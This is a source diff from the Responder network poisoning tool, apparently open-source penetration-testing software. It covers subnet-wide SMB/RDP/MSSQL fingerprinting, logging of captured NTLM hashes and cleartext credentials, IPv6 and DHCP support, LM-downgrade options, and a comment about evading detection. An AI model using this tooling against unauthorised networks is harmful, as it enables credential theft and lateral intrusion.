buffer0 = longueur(packet0)+packet0
return buffer0
if data[28] == "\x02":
if data[28:29] == "\x02":
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
##################
#run it
def ShowResults(Host):
if ConnectAndChoseSMB((Host,445)) == False:
try:
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("Retrieving information for %s..."%(Host)))
print(("SMB signing: %s"%(Signing)))
print(("Null Sessions Allowed: %s"%(NullSess)))
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
except:
return False
def ShowSmallResults(Host):
if ConnectAndChoseSMB((Host,445)) == False:
try:
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
RDP = IsServiceOn((Host,3389))
SQL = IsServiceOn((Host,1433))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB1]',
'Host': Host,
'WindowsVersion':OsVer,
'OsVer': OsVer,
'DomainJoined':DomainJoined,
'Bootime': 'N/A',
'Signing': Signing,
'NullSess': NullSess,
'IsRDPOn':RDP,
'SMB1': 'True',
'MSSQL': SQL
})
except:
return False
def IsRDPOn(Host):
def IsServiceOn(Host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(Host)
if s:
return True
return 'True'
else:
return False
return 'False'
except Exception as err:
return False
return 'False'
def RunFinger(Host):
m = re.search("/", str(Host))
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
"""
if options.grep_output:
func = ShowSmallResults
else:
func = ShowResults
"""
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=func, args=((host),))
threads.append(p)
p.start()
else:
ShowSmallResults(Host)
if Filename != None:
with open(Filename) as fp:
Line = fp.read().splitlines()
for Ln in Line:
m = re.search("/", str(Ln))
if m:
net,_,mask = Ln.partition('/')
mask = int(mask)
net = atod(net)
threads = []
Pool = multiprocessing.Pool(processes=250)
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
proc = Pool.apply_async(func, ((host),))
threads.append(proc)
for proc in threads:
proc.get()
else:
ShowSmallResults(Ln)
if Filename == None:
m = re.search("/", str(Host))
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
Pool = multiprocessing.Pool(processes=250)
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
proc = Pool.apply_async(func, ((host),))
threads.append(proc)
for proc in threads:
proc.get()
else:
ShowSmallResults(Host)
RunFinger(Host)

View file

@ -1,4 +1,5 @@
import random, struct, sys
import random, struct, sys, os
from os import urandom
from socket import *
from time import sleep
from odict import OrderedDict
@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
("SecurityMode", "\x01\x00"),
("Reserved","\x00\x00"),
("Capabilities","\x00\x00\x00\x00"),
("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
("ClientGUID", urandom(16).decode('latin-1')),
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
("Dialect1","\x02\x02"),
("Dialect2","\x10\x02"),

View file

@ -152,7 +152,7 @@ def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def IsSigningEnabled(data):
if data[39] == "\x0f":
if data[39:40] == b"\x0f":
return True
else:
return False

View file

@ -3,7 +3,10 @@ try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

View file

@ -3,7 +3,10 @@ try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

195
utils.py Executable file → Normal file
View file

@ -24,8 +24,29 @@ import settings
import datetime
import codecs
import struct
import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
try:
import aioquic
except:
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
from calendar import timegm
def if_nametoindex2(name):
if settings.Config.PY2OR3 == "PY2":
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
ret = libc.if_nametoindex(name)
return ret
else:
return socket.if_nametoindex(settings.Config.Interface)
def RandomChallenge():
if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random":
@ -106,7 +127,10 @@ def RespondToThisIP(ClientIp):
return False
def RespondToThisName(Name):
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
return False
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
@ -128,6 +152,31 @@ def RespondWithIPAton():
else:
return settings.Config.IP_aton.decode('latin-1')
def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton
else:
return settings.Config.IP_Pton6
else:
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton.decode('latin-1')
else:
return settings.Config.IP_Pton6.decode('latin-1')
def RespondWithIP():
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
else:
return settings.Config.Bind_To
def RespondWithIP6():
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6
else:
return settings.Config.Bind_To6
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return not IsOsX()
@ -136,6 +185,16 @@ def OsInterfaceIsSupported():
def IsOsX():
return sys.platform == "darwin"
def IsIPv6IP(IP):
if IP == None:
return False
regex = r"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
ret = re.search(regex, IP)
if ret:
return True
else:
return False
def FindLocalIP(Iface, OURIP):
if Iface == 'ALL':
return '0.0.0.0'
@ -143,6 +202,19 @@ def FindLocalIP(Iface, OURIP):
try:
if IsOsX():
return OURIP
elif IsIPv6IP(OURIP):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
elif IsIPv6IP(OURIP) == False and OURIP != None:
return OURIP
elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@ -150,11 +222,54 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0]
s.close()
return ret
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
def Probe_IPv6_socket():
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
if not socket.has_ipv6:
return False
try:
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
s.bind(("::1", 0))
return True
except:
return False
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
@ -210,6 +325,8 @@ def CreateResponderDb():
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
cursor.commit()
cursor.close()
def SaveToDb(result):
@ -217,7 +334,7 @@ def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
result['client'] = result['client'].replace("::ffff:","")
if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user'])
@ -237,16 +354,10 @@ def SaveToDb(result):
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
if settings.Config.CaptureMultipleHashFromSameHost:
if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
@ -293,7 +404,7 @@ def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
@ -305,16 +416,37 @@ def SavePoisonersToDb(result):
cursor.close()
def SaveDHCPToDb(result):
for k in [ 'MAC', 'IP', 'RequestedIP']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] ==b'\x1c':
return False
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
return 'IPv6'
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True
return False
def IsIPv6(data):
if "::ffff:" in data:
return False
else:
return True
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
@ -353,22 +485,19 @@ def banner():
])
print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C")
print('')
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder")
print('')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + enabled)
print(' %-27s' % "NBT-NS" + enabled)
print(' %-27s' % "DNS/MDNS" + enabled)
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('')
@ -386,9 +515,11 @@ def StartupMessage():
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "HTTP Options:")
@ -405,14 +536,18 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
if settings.Config.ExternalIP:
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
if settings.Config.ExternalIP6:
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
@ -424,10 +559,20 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
if len(settings.Config.DontRespondToTLD):
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
if settings.Config.TTL == None:
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
else:
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
#credits
print('')
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")